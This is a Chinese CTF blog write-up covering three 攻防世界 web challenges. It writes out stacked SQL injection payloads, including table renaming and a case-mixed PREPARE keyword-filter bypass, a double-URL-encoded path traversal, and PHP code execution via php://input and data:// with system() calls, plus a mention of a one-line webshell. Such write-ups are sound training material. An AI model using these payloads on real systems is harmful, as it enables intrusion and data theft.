web攻防世界进阶篇(二)

supersqli

打开题目,发现在这里插入图片描述
然后就是sql注入。判断注入点:
发现输入?inject=1'时提示在这里插入图片描述
然后输入?inject=1'--+时,正常,说明注入点是单引号。然后order by查询时,发现只有两列。
然后联合查询时提示 在这里插入图片描述
说明过滤掉了select|update|delete|drop|insert|where|\./i里面的关键字,并且不区分大小写。
接着就层叠注入:
输入?inject=1'; show databases;--+
发现在这里插入图片描述
出现目标数据库。
再查询表名:?inject=1'; show tables;--+在这里插入图片描述
出现了两个表名。接着查看两个表。?inject=1'; show columns from ``;--+
注意是反引号
在这里插入图片描述
在这里插入图片描述

然后到这里就有两种解题方法了。
第一种、sql命令语句替换,然后1‘ or 1 = 1#
得出flag。
原理:经过上述查询发现,数字表名里面包含flag,加一个字符串。所以猜测,flag在该表中。而words表中的数据类型和搜索框输入的数据类型一样,都是一个数字一个字符串,所以默认搜索的应该是words表。所以可以将数字表名改成words,进而得到flag。
具体操作:

; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50)

得到flag。
第二种,预编译方法。
构造payload :

/?inject=1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

直接得到flag。
在这里插入图片描述
原理:strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写。修改大小写就可以。

warmup

打开题目
在这里插入图片描述
然后F12查看,发现注释掉的source.php ,然后url框搜索,得到题目源码。
在这里插入图片描述
进行代码审计。
得到结论:

1、参数file已被设置且为字符串。
2、通过函数检查

构造的payload已经满足了第一点,这个不用多说。第二点函数检查是通过三步来检查是否符合的。
第一步:
在这里插入图片描述
检查source和hint是否为要求类型。
第二步:
在这里插入图片描述
取字符串 ? 前的部分,并进行白名单判断。
第三步:
在这里插入图片描述
把参数进行url编码,并重复第二步的过程进行判断,若都不满足,就返回you can’t see it
当输入hint.php时出现在这里插入图片描述
这里猜测可能是四级目录,即 /../../../../ffffllllaaaagggg
所以构造payload:?file=source.php? /../../../../ffffllllaaaagggg
因为要进行url编码判断,所以?处进行二次url编码。
一次编码是%3f%编码是25.
所以最终payload为:?file=source.php%253f /../../../../ffffllllaaaagggg
得到flag。
在这里插入图片描述
但是题目里面不经过二次url编码也可以出现结果。在评论区找答案发现有大佬讨论说是题目bug。咱也不敢说也不敢问啊。反正知道怎么做就行了,这些不重要。

Web_php_include

打开题目:
在这里插入图片描述

代码审计开始。

PHP strstr()函数:
  检测字符串在另一字符串里第一次出现的位置,并返回余下函数,区分大小写。
PHP  str_replace()函数:
   替换字符,区分大小写。
   如果搜索的字符串是数组,那么它将返回数组。
   如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。
   如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
   如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用。

然后,可以用两个方法做题。
一、PHP://大小写绕过。
直接get一个?page=PHP://input 然后post一个<?php system('ls')?>
出现在这里插入图片描述
接着就修改post内容:<?php system('cat fl4gisisish3r3.php')?> 发现页面又回去了,莫慌,F12打开控制台,在html页面里的head 里发现flag。在这里插入图片描述
二、利用data://协议做
使用格式data://test/plain,
后面接<?php system('ls');?>
继续上面的步骤,相同的位置得到flag。
或者直接data协议上传一句话木马,蚁剑连接,查找到flag。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值